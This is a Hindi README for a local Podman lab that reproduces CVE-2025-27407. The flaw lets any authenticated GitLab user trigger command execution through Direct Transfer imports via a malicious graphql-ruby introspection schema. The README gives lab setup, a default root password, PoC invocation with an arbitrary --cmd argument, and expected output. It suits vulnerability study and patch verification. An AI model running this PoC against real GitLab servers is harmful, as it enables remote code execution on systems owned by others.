CVE-2025-27407 GitLab Podman लैब

GitLab Direct Transfer HTTP पथ कमज़ोर graphql-ruby introspection स्कीमा लोडर तक पहुँचता है, इसे साबित करने के लिए यह एक न्यूनतम केवल-स्थानीय लैब है। यह लैब एक कमज़ोर GitLab CE कंटेनर चलाती है; PoC स्क्रिप्ट परीक्षण के दौरान केवल प्रक्रिया-में (in-process) अपना नकली GitLab स्रोत सर्वर शुरू करती है।

इसे केवल उन सिस्टम्स पर चलाएँ जिनके स्वामी आप हैं या जिन पर परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।

फ़ाइलें

आवश्यकताएँ

• podman के साथ Linux होस्ट
• curl
• GitLab और PoC नकली स्रोत सर्वर के लिए खाली स्थानीय पोर्ट
• GitLab Omnibus कंटेनर के लिए पर्याप्त RAM/डिस्क

डिफ़ॉल्ट मान:

लैब शुरू करें

पोर्ट 8080 स्क्रिप्ट का डिफ़ॉल्ट है। यदि इसे पहले से कोई और उपयोग कर रहा है, तो यहाँ दिखाए अनुसार 18080 उपयोग करें।

cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

GitLab को यहाँ खोलें:

http://127.0.0.1:18080

लॉगिन क्रेडेंशियल:

root / Cve27407Password!

root केवल डिफ़ॉल्ट लैब उपयोगकर्ता है। PoC ट्रिगर के लिए एडमिन खाते की आवश्यकता नहीं है; कोई भी प्रमाणित उपयोगकर्ता जो किसी डेस्टिनेशन नेमस्पेस में बना/इम्पोर्ट कर सकता है, कमज़ोर Direct Transfer पथ को हिट कर सकता है। गैर-एडमिन उपयोगकर्ता के साथ परीक्षण करने के लिए --username और --password उपयोग करें।

PoC चलाएँ

MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

अपेक्षित संकेत:

[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

विकल्प

पर्यावरण ओवरराइड्स

समस्या निवारण

• यदि 8080 व्यस्त है, तो ./lab.sh up के लिए GITLAB_HTTP_PORT=18080 उपयोग करें।
• यदि PoC अपने स्रोत पोर्ट को बाइंड नहीं कर पाता है, तो --listen-port को किसी अप्रयुक्त पोर्ट में बदलें।
• यदि मार्कर सत्यापन बैकग्राउंड इम्पोर्ट वर्कर के साथ प्रतिस्पर्धा करता है, तो --wait-seconds बढ़ाएँ या MARKER="$MARKER" ./lab.sh verify फिर से चलाएँ।
• यदि GitLab अभी तैयार नहीं है, तो GITLAB_HTTP_PORT=18080 ./lab.sh wait फिर से चलाएँ।
• यदि कोई पिछली लैब अटक गई है, तो ./lab.sh cleanup चलाएँ और फिर से शुरू करें।

सफ़ाई

./lab.sh cleanup

यह GitLab कंटेनर, पुराने लैब संस्करणों के किसी भी लीगेसी नकली-स्रोत कंटेनर और लैब नेटवर्क को हटा देता है। यह डाउनलोड की गई Podman इमेजेस को नहीं हटाता है।